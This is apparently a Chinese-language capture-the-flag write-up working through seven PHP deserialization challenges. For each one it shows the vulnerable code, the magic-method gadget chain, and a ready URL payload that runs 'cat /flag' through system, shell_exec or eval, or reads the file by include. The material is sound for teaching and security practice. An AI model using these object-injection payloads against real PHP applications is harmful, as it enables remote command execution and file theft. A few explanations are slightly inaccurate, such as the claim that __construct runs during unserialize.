基础知识

  1. 序列化:将变量或对象转化为字符串。使用 serialize() 即可序列化一个对象。
  2. 反序列化:将一个字符串解析为一个变量或对象。使用 unserialize() 即可序列化一个对象。
  3. 魔法方法利用
    • __construct() 构造函数
    • __destruct() 析构函数
    • __wakeup() 反序列化时会自动调用
    • __call() 调用一个不可访问(不存在 or 权限问题)的对象时会自动调用
    • __toString() 将对象当做字符串来使用时,会自动调用
    • __get() __set() 在 get 不可访问属性时/ set 不可访问属性时调用

第一题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
highlight_file(__FILE__);
class home{
private $args;
function __construct($args){
$this->args=$args;
}
function __wakeup()
{
echo file_get_contents($this->args);
}
}
$a=$_GET['a'];
unserialize($a);

分析得,我们输入的 a 会执行反序列化,执行反序列化时,会执行 __wakeup() 这个魔法方法。这个方法会输出 args 这个文件的内容,因此,我们将这个参数设置为 /flag 即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
class home {
private $args;
function __construct($args) {
$this->args = $args;
}
function __wakeup() {
echo file_get_contents($this->args);
}
}
$home = new home("/flag");
echo serialize($home);
// O:4:"home":1:{s:10:"homeargs";s:5:"/flag";}

因此,构造 payload 如下:

1
?a=O:4:"home":1:{s:10:"%00home%00args";s:5:"/flag";}

这是因为私有成员名称需要为 \0<classname>\0name,在 URL 中,\0 编码为 %00

得到 flag 如下:

1
flag{cc8c0a97c2dfcd73caff160b65aa39e2}

第二题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
highlight_file(__FILE__);
class home{
private $args;
function __construct($args){
$this->args=$args;
}
function __destruct()
{
echo shell_exec($this->args);
}
}
$a=$_GET['a'];
unserialize($a);

分析得,我们输入的 a 会执行反序列化,执行反序列化时,会执行 __construct() 这个魔法方法。这个方法会设置 args 这个变量的值,在最后的析构时,会执行这个变量。因此,我们将这个参数设置为 cat /flag 即可。payload 如下:

1
?a=O:4:"home":1:{s:10:"%00home%00args";s:9:"cat%20/flag";}

得到 flag 如下:

1
flag{th1s_is_ea4y}

第三题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
highlight_file(__FILE__);
class Demo{
private $a;
public function __destruct(){
$this->a->c;
}
}
class Test{
private $b;
public function __get($name)
{
eval($this->b);
}
}
unserialize($_GET['ser']);
?>

Test 类中,如果访问不可访问变量时,会执行 $this->b,那么我们将其设置为 system("cat /flag"); 即可。但是,如果访问不可访问变量呢?我们可以将 Demo 类中成员 $a 设置为一个 Test 类型的变量。那么在析构时访问 $this->a->c 也就是 Test->c 不存在,会调用 __get() 魔法方法。payload 如下:

1
?ser=O:4:"Demo":1:{s:7:"%00Demo%00a";O:4:"Test":1:{s:7:"%00Test%00b";s:20:"system(%27cat%20/flag%27);";}}

得到的 flag 如下:

1
flag{wd_test_3}

第四题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
highlight_file(__FILE__);
class T1{
protected $a;
public function __wakeup(){
md5($this->a);
}
}
class T2{
protected $b;
public function __toString()
{
return $this->b->test();
}
}
class T3{
protected $c;
public function __call($fun,$args)
{
system($this->c);
}
}
unserialize($_GET['ser']);
?>

构造调用链如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
class T1 {
protected $a;
public function __construct($value) {
$this->a = $value;
}
public function __wakeup() {
md5($this->a);
}
}
class T2 {
protected $b;
public function __construct($value) {
$this->b = $value;
}
public function __toString() {
return $this->b->test();
}
}
class T3 {
protected $c = "cat /flag";
public function __call($fun, $args) {
system($this->c);
}
}
$t3 = new T3();
$t2 = new T2($t3);
$t1 = new T1($t2);
echo serialize($t1);
?>

$t1 反序列化时,会调用 md5($t1->a),而 $t1->a 的类型为 $t2md5 函数接受的参数为字符串,因此 $t2 会调用 $t2->b->test()。而 $t2->b 的类型为 $t3,没有这个方法,因此 $t3 中的 __call() 魔法方法会被触发,从而执行目标命令。

因此,构造的 payload 如下:

1
?ser=O:2:"T1":1:{s:4:"%00*%00a";O:2:"T2":1:{s:4:"%00*%00b";O:2:"T3":1:{s:4:"%00*%00c";s:9:"cat%20/flag";}}}

找到的 flag 如下:

1
flag{w4lcome_t0_it}

第五题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
highlight_file(__FILE__);
class A{
var $a;
public function __call($func,$args){
include $args[0];
}
}
class B{
var $b;
var $c;
public function __destruct()
{
$this->b->test($this->c);
}
}
unserialize($_GET['s']);

$this->c = /flag$this->b = new A()即可。

因此,构造的 payload 如下:

1
?s=O:1:"B":2:{s:1:"b";O:1:"A":1:{s:1:"a";N;}s:1:"c";s:5:"/flag";}

找到的 flag 如下:

1
flag{qaz12sx3dd4dtr}

第六题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
highlight_file(__FILE__);
class A{
var $a;
var $c;
public function __wakeup()
{
$this->a->c=$this->c;
}
}
class B{
var $b;
public function __set($k,$v){
call_user_func($this->b,$v);
}
}
unserialize($_GET['s']);

大概思路如下(需要为类添加相应的构造函数才能跑通):

1
2
3
$b = new B($b = "system");
$a = new A($a = $b, $c = "cat /flag");
echo serialize($a);

因此,构造的 payload 如下:

1
?s=O:1:"A":2:{s:1:"a";O:1:"B":1:{s:1:"b";s:6:"system";}s:1:"c";s:9:"cat%20/flag";}

找到的 flag 如下:

1
flag{hell0_every0ne}

第七题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php

highlight_file(__FILE__);
class T1{
private $a;
function __destruct(){
'a'.$this->a;
}
}
class T2{
private $b;
function __toString()
{
return $this->b->test();
}
function __call($fun,$arg)
{
return $this->b->n;
}
}
class T3{
private $c;
function __get($key){
eval($this->c);
}
}
unserialize($_GET[a]);
?>

注意 __call()__get() 的区别,分别是访问的方法不存在时会执行和访问的成员变量不存在时会执行。因此,这里要利用 T2 两次。第一次调用 __toString() 时方法不存在,就会调用 __call(),然后变量不存在,就会调用 __get()

1
2
3
4
5
$t3 = new T3('system("cat /flag");');
$t2_1 = new T2($t3);
$t2_2 = new T2($t2_1);
$t1 = new T1($t2_2);
echo serialize($t1);

因此,构造的 payload 如下:

1
?a=O:2:"T1":1:{s:5:"%00T1%00a";O:2:"T2":1:{s:5:"%00T2%00b";O:2:"T2":1:{s:5:"%00T2%00b";O:2:"T3":1:{s:5:"%00T3%00c";s:20:"system("cat%20/flag");";}}}}

找到的 flag 如下:

1
flag{th1s_1s_v4ry_4asy}